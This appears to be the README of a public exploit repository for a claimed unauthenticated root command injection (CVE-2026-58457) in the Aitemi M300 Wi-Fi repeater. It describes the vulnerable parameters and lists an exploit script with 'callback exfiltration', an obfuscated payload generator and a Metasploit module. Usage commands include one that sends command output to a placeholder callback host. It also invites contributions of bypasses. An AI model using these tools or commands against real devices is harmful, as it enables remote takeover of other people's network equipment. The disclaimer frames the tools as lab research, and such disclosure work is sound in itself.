CVE-2026-58457 - Unauthenticated OS Command Injection in Shenzhen Aitemi M300 Wi-Fi Repeater

[!WARNING] This code is provided AS IS for educational and research purposes only. Do not use this PoC on production systems, shared environments, or any unauthorized targets.

• Running or hosting this code may trigger antivirus detections, security monitoring alerts, or legal consequences if misused.
• The authors and repository maintainers assume no liability for any damage, misuse, or illegal activity resulting from this code.
• Use exclusively in isolated lab environments with proper authorization. Intended for defensive research, vulnerabilityf analysis, and blue-team testing only.

Vulnerability Summary

An unauthenticated OS command injection vulnerability exists in the smacfilter_conf handler. The name, enable, and mac GET parameters are passed unsanitized into a sprintf() call that constructs UCI commands executed as root.

• Severity: Critical (CVSS 9.8)
• Impact: Remote root command execution with no authentication required

Included Tools

• poc.py - Full-featured exploit with HTTPS support, retries, timeout, and callback exfiltration.
• val.py - Safe, passive vulnerability validator (uses harmless id command).
• gen.py - Advanced payload generator with multiple obfuscation techniques.
• MITIGATIONS.md - Recommended defensive measures.
• Metasploit Module - Available in the exploit/ directory.

Installation

pip install requests

Quick Usage

1. Validate (Safe)

python3 val.py --target 192.168.1.100

2. Exploit (Authorized Testing Only)

python3 poc.py --target 192.168.1.100 --cmd "id"
python3 poc.py --target 192.168.1.100 --cmd "id" --callback http://your-ip:8080/

3. Generate Obfuscated Payloads

python3 gen.py -c "id" -n 10

Metasploit

1. Move the Module

cp ./aitemi_m300_smacfilter_rce.rb ~/.msf4/modules/exploits/linux/http/
# or the main MSF path: /usr/share/metasploit-framework/modules/exploits/linux/http/

2. Reload All

msfconsole -q -x "reload_all"

References

• CVE-2026-58457
• VulnCheck Advisory
• GitHub Disclosure

Stars and contributions welcome - especially improvements to bypasses or additional firmware variants.